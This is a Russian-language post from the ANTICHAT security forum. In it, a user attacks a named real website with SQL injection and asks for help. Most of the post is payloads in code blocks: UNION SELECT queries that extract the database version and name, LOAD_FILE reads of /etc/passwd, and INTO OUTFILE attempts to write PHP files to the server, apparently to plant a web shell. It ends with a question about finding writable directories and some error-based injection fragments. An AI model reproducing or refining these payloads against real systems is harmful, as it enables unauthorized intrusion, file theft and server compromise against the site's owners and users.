ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
http://herorace.ru/news-full.php?id=-1 union select 1,2,version(),4,database(),6

Code:
+union+select+1,2,3,4,5,6+--+

Code:
с 1,2,version(),4,database(),6  на 1,2,3,4,5,database()+--+   уже не получаю вывод базы на сайте

Code:
0+UNION+SELECT+1,2,3,4,5,6,LOAD_FILE(%27/etc/passwd%27),8,9,10+--+

Code:
0+UNION+SELECT+1,2,3,%27%27,5,6%20INTO%20OUTFILE%20%27/1.php%27,LOAD_FILE(%27/etc/passwd%27),8,9,10+--+

затем я еще раз просмотрел почтовый ящик где мне мистер Br@!ns, давал рекомендации и практические примеры
получился запрос 0+UNION+SELECT+1,2,%27%27,4,5,6,7,8,9,10++into+outfile+%27/home/tesis/docs/123.php%27+--++--+
который кстати как по мне работает - только вот в ответ Can't create/write to file '/home/tesis/docs/123.php' (Errcode: 13)  - но это уже говорит (я так думаю) о том что сам запрос верно составлен

Теперь возникает вопрос, как искать доступные для записи папки ?
я искал софтом uniscan - Но он показал что эта папка доступна для записи - точнее статус 200. но записаться я туда не могу почему то

Подскажите как правильно искать папки для записи
спасибо

Code:
/1'+(select!x-~0.FROM(select+(select

Code:
/news'+(select!x-~0.FROM(select+(select concat() )x)f)='/